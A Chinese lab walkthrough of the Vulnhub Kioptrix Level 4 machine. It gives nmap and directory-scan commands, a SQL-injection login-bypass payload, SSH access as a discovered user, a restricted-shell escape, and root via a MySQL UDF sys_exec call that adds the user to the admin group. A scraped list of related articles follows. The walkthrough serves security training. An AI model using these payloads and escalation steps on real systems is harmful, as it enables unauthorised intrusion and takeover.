一、环境搭建

然后选择靶机所在文件夹

信息收集

本靶机ip和攻击机ip

攻击机:192.168.108.130
靶机:192.168.108.141

扫描ip

靶机ip为:192.168.108.141

扫描开放端口

可用信息

22/tcp  open  ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds

扫描版本服务信息

可用信息

//端口        //应用层协议     //详细信息
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) //操作系统ubuntu
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

指纹探测

nmap 192.168.108.141 -p 22,80,139,445 -sV -sC -O --version-all

可用信息:

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Samba smbd 3.0.28a

目录扫描

dirsearch -u http://192.168.108.141 -e*
dirb http://192.168.108.141

可用信息:

http://192.168.108.141/images/                 //图片
http://192.168.108.141/checklogin.php //检测登录情况
http://192.168.108.141/database.sql //数据库文件
http://192.168.108.141/index.php //主页面
http://192.168.108.141/john/ //用户john
http://192.168.108.141/logout //登出
http://192.168.108.141/member //用户个人空间
http://192.168.108.141/server-status //常见的用于监控和获取 Web 服务器状态的文件或页面

二、Web渗透

访问80端口,一个登录框,尝试弱口令无果

根据信息收集的东西,访问database.sql页面,有三个传参点,id,username,password,以及一个可能是用户名和密码的消息

尝试后发现不对

sql注入

密码处报错,存在注入

利用万能密码尝试

1' or true-- -  #'将sql语句注释 or ture 添加永真条件 -- -:注释掉后面的 SQL 代码,防止其执行

登录查看,发现这是member的页面,查看源码并未有什么有用消息

三、提权

拿到了账号密码就可以使用ssh连接,这里使用-o HostKeyAlgorithms=+ssh-rsa算法连接,因为靶机只支持该算法

ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.108.141

成功登录之后发现让我们输入help或?,输入看看,回显了一部分命令,看来是我们只能使用这些命令进行操作,这里可能需要使用shell逃逸,即绕过安全限制

可用命令如下

cd  clear  echo  exit  help  ll  lpath  ls

找找可用信息,可用看到我们是john用户,有几个可疑文件.bash_history.bash_logout.lhistory

查看当前SHELL变量,使用echo $SHELL

成功切换shell,查看当前进程,发现mysql是以root权限进行的

UDF提权

这里我们可用使用UDF提权

在 MySQL 中,UDF(User Defined Function,用户定义函数)提权是一种利用用户定义函数的漏洞或特性来提升权限的攻击手段。攻击者可以通过创建恶意的用户定义函数来执行任意代码,从而获得更高的权限,甚至可能完全控制数据库服务器

查找先前收集的php信息

find / -name *.php 2> /dev/null  #2> /dev/null的意思是将错误信息全部丢弃,/dev/null是一个特殊设备文件,任何写入的设备都会被丢弃

查看一下登录检测页面,发现mysql密码为空,也是挺抽象

连接mysql,成功连接

查看数据库和数据表,有一个可疑文件

看看该表

select * from 'func';

修改权限

发现一个sys_exec函数,sys_exec 函数是一个用户定义函数(UDF),它允许执行系统命令并返回命令的输出。这个函数并不是 MySQL 的内置函数,而是通过安装特定的 UDF 扩展来实现的。

修改john为管理员

select sys_exec('usermod -a -G admin john');

看看参数的意思

  • usermod 是一个 Linux 命令,用于修改用户账户的属性。
  • -a 选项表示将用户添加到指定的组,而不从其他组中删除。
  • -G admin 指定要将用户添加到的组,这里是 admin 组。
  • john 是要修改的用户名。

exit退出mysql,输入sudo -i即可拿到root权限

这里看看两中切换管理员命令的区别

Vulnhun靶机-kioptix level 4-sql注入万能密码拿到权限ssh连接利用mysql-udf漏洞提权的更多相关文章

  1. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  2. 网络安全之sql注入

    1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQ ...

  3. 浅析SQL注入

    body, td { font-family: calibri; font-size: 10pt; } 演示 记得以前瞎鼓捣的时候,学过一个传说中的SQL注入万能字符串,是这个样子的' or '1'= ...

  4. ctfshow_web入门 sql注入(web171~248)

    sql注入 这是算是学习+做题+记录的一个笔记吧,而且基本都是看着Y4师傅的博客做的 由于是做过sqli靶场,所以这个就记录快点了.如果靶场没遇到的,也会做笔记. union 联合注入 web171 ...

  5. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  6. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  7. SQL 注入

    我们的团队项目中有课程名称输入框,其中的内容会拼接到类sql查询语句中. 所以可能会产生类sql注入的问题,我们团队采用了利用正则表达式判断输入内容的形式来规避这类注入. 下面简单介绍一下sql注入 ...

  8. 数据库防火墙如何防范SQL注入行为

    SQL注入是当前针对数据库安全进行外部攻击的一种常见手段.现有主流应用大多基于B/S架构开发,SQL注入的攻击方式正是利用web层和通讯层的缺陷对数据库进行外部恶意攻击.将SQL命令巧妙的插入通讯的交 ...

  9. 《黑客大曝光》实践部分——sql注入(7/8)

    SQL注入实践 由于<黑客大曝光>中涉及到形形色色的攻击方式,从软件到硬件,甚至还有物理锁的开锁教程,当中的很多教程很有趣,但是我没有相关的环境,实践起来不好操作,比如说,查点扫描我还可以 ...

  10. 典型的 SQL 注入过程(转)

    无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权.这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程. 发现 ...

随机推荐

  1. Simple FOC内置通信接口学习(一):实时监控电机状态

    本文参(zhao)考(chao)至官方文档https://docs.simplefoc.com/docs_chinese/monitoring 引言 在使用Simple FOC控制电机的过程中,尤其是 ...

  2. 数据库开发规范v1.0

    一.建表规约 [强制]表达是与否概念的字段,必须使用 is_xxx 的方式命名,数据类型是 unsigned tinyint( 1 表示是,0 表示否). 说明:任何字段如果为非负数,必须是 unsi ...

  3. Fleck:一个轻量级的C#开源WebSocket服务端库

    推荐一个简单易用.轻量级的C#开源WebSocket服务端库,方便我们快速实现WebSocket的开发. 01 项目简介 Fleck 是一个用 C# 编写的轻量级 WebSocket 服务器库.它提供 ...

  4. 基于.NET WinForm开发的一款硬件及协议通讯工具

    前言 今天大姚给大家分享一款基于.NET WinForm开发的一款硬件及协议通讯工具:PLC-CommunTools. 项目介绍 PLC-CommunTools是一款基于.NET WinForm开发的 ...

  5. 【Linux】【UOS】为挂载的磁盘创建快捷方式(软链接)

    打开项目或者保存文件的时候,如果需求路径不是系统盘路径,那么找起来还真是麻烦.以下时候通过创建快捷方式(软链接)的方式,将打开磁盘的快捷方式放在用户目录下,就方便寻找打开了. 1.查询挂载点 sudo ...

  6. swagger 文件上传以及requestbody参数传递

    swagger用来做普通的API测试很方便,在实际开发过程中,经常会有文件上传,或者通过reuestbody传递数据等方式. 这个时候swagger的配置就有一些特殊了 . swagger reque ...

  7. Qt数据库应用1-数据导入导出csv

    一.前言 在经历过大大小小十几个甚至几十个纯QtWidget项目后,涉及到数据库相关的项目,几乎都有一个需求,将少量的信息数据比如设备信息.防区信息等,导出到文件保存好,然后用户可以打开该表格进行编辑 ...

  8. Qt开源作品7-高亮按钮控件

    一.前言 这个高亮按钮控件并非本人原创作品,是参考的Qt界的一个大师级人物公孙二狗的作品,各位有兴趣可以去搜索查看,在原作者的代码上,我只是改成了自己的控件的框架结构,然后完善了一些细节,比如增加了各 ...

  9. 视频直播技术干货(十二):从入门到放弃,快速学习Android端直播技术

    本文由陆业聪分享,原题"一文掌握直播技术:实时音视频采集.编码.传输与播放",本文进行了排版和内容优化. 1.引言 从游戏.教育.电商到娱乐,直播技术的应用场景无处不在.随着移动端 ...

  10. MTK8766 LK GPIO初始化状态设置分析

    问题来源是M.2 Dongle的LED灯在kernel起来之前就亮了,kernel起来之后又初始化成熄灭状态.通过排查硬件规格书.GPIO表格,大概判定是前期软件初始化不正确造成的.通过观察串口打印的 ...